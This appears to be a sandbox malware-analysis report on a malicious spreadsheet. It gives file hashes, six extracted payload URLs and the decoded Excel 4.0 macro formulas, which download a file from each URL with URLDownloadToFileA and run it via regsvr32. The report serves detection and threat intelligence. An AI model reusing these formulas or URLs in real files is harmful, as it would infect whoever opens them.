General
-
Target
d85057c1ce56edd7458180061cc5c2a55f2489cbe639a95d315fe648482aaee6
-
Size
35KB
-
MD5
fd9e06e5912a02c7329ad6738cf52b81
-
SHA1
3a5e02ef856379d509c48b8336bcc43334e47039
-
SHA256
d85057c1ce56edd7458180061cc5c2a55f2489cbe639a95d315fe648482aaee6
-
SHA512
081d817435fca05dece1edcb41757efd0ca2dc41a7b1abe29605d027737154384eeb26e7d8b57eb0849e0eb70f17e03242987d371d27c3bca8535220dcf0afae
-
SSDEEP
768:jCf/8Vtq3gxpGOSCBxTT+/Q6/FG0x2xr9H9wvZdm5KvCe:+fEVtlNxctF7sX9wv3m5KvCe
Malware Config
Extracted
http://sorathlions.com/tmp/bfJrKD4g0bJL73qw/
http://www.invest-moon.com/wp-admin/2PbOcXXyFr4oFoogAA/
http://narsanatanaokulu.com/wp-includes/reZNtZ53IH/
https://ramijabali.com/licenses/WQu8ZS0qQNGp/
http://support.techopesolutions.com/gq2z3/yt7TquOtSLXXeade/
http://blog.centerking.top/wp-includes/YvwIBPBq/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/bfJrKD4g0bJL73qw/","..\si.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.invest-moon.com/wp-admin/2PbOcXXyFr4oFoogAA/","..\si.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://narsanatanaokulu.com/wp-includes/reZNtZ53IH/","..\si.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ramijabali.com/licenses/WQu8ZS0qQNGp/","..\si.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://support.techopesolutions.com/gq2z3/yt7TquOtSLXXeade/","..\si.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/YvwIBPBq/","..\si.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\si.ocx") =RETURN()
Signatures
Files
-
d85057c1ce56edd7458180061cc5c2a55f2489cbe639a95d315fe648482aaee6